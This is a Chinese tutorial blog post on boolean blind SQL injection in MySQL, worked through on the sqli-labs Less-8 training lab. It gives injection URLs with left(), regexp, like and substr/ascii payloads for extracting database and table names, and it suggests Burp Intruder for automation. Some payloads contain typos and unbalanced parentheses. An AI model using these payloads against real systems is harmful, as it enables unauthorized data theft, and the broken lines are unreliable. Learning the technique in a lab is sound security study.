渗透(五)之MySQL的布尔注入

SQL盲注–bool注入

布尔盲注的原理

在这里插入图片描述
后端不往前端返回具体的数据库的值,通过页面显示正常与否,判断SQL注入的值是否为真。

布尔盲注方法:

在这里插入图片描述

针对sqli-labs/less-8

一开始:

当url为
127.0.0.1/less-8/?id=1
对应的SQL语句
SELECT * FROM users WHERE id = ‘1’ LIMIT 0,1

先测试系统有无SQL注入漏洞

当url为
127.0.0.1/less-8/?id=1’
结果:
发现页面正常情况下You are in…
加上’之后You are in 不在了
对应的SQL语句为
SELECT * FROM users WHERE id = ‘1’’ LIMIT 0,1

127.0.0.1/less-8/?id=1’and ‘1’='1
SELECT * FROM users WHERE id = '1’and ‘1’=‘1’ LIMIT 0,1
发现页面返回正常仍然是 You are in…

127.0.0.1/less-8/?id=1’ and ‘1’='2
SELECT * FROM users WHERE id = ‘id=1’ and ‘1’=‘2’ LIMIT 0,1
页面返回不正常,看不到 You are in…

所以判断网页是存在SQL注入漏洞的

源码分析:

在这里插入图片描述
没有报错注入,代码的正确回显并没有返回数据库的内容,只能根据页面是否返回条件,判断SQL语句是否正确。

进行布尔盲注

使用left

127.0.0.1/less-8/id=1’ and left((select database()),1)=‘s’–+
SELECT * FROM users WHERE id = ‘1’ and left((select database()),1)=‘s’–+’ LIMIT 0,1
判断当前库的首字母是不是’s’
返回You are in …
说明当前数据库首字母是’s’

查当前库中,第一个库中第一个表的第一个首字母
构造url方法:
127.0.0.1/less-8/id=1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1)=‘e’–+
SELECT * FROM users WHERE id = ‘1’ and left((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1)=‘e’–+’ LIMIT 0,1
借助bp方法:
使用bp的Intruder模块进行一个盲注,快速循环表名的每个字母

同样的方法结合bp,判断数据库里有哪些列。

实现对数据库信息的获取

使用regix

查询当前库名,正则表达第一位是以s开头
127.0.0.1/less-8/?id=1’ and (select database()) regexp ‘^s’ --+
SELECT * FROM users WHERE id = ‘1’ and (select database()) regexp ‘^s’ --+’ LIMIT 0,1
页面返回 You are in…表示数据库的首字母确实为s

如果对数据库中的表进行查询
127.0.0.1/less-8/?id=1’ and select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp ‘^s’ --+
结合bp快速判断

使用like

判断当前数据库中以e开头的表
127.0.0.1/less-8/?id=1’ and select table_name from information_schema.tables where table_schema=database() limit 0,1) like ‘e%’–+

substr+ascii

127.0.0.1/less-8/?id=1’ and ascli(substr(seletc database(),1,1))=98–+

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值